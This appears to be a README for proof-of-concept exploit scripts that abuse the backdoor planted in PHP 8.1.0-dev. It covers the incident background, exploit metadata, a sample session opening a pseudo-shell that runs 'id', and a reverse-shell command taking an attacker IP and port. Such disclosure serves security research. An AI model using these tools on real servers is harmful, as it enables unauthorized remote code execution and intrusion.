PHP 8.1.0-dev Backdoor Remote Code Execution

PHP 8.1.0-dev Backdoor System Shell Script

PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.

Read full article: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/

POC Script

This short exploit script backdoor_php_8.1.0-dev.py uses the backdoor to provide a pseudo system shell on the host.Find it on Exploit DB.

• Exploit Title: PHP 8.1.0-dev Backdoor Remote Code Execution
• Date: 23 may 2021
• Exploit Author: flast101
• Vendor Homepage: https://www.php.net/
• Software Link: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
• Tested on version: 8.1.0-dev
• CVE : N/A
• Vulnerability references:
  https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
  https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

Usage:

┌──(user㉿kali)-[~/Documents]
└─$ python3 backdoor_php_8.1.0-dev.py
  
Enter the host url:
http://a.b.c.d

Interactive shell is opened on http://a.b.c.d 
Can't acces tty; job crontol turned off.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

Reverse Shell

This short exploit script revshell_php_8.1.0-dev.py gives a reverse shell on target.

Usage:

┌──(user㉿kali)-[~/Documents]
└─$ python3 revshell_php_8.1.0-dev.py <target URL> <attacker IP> <attacker PORT>

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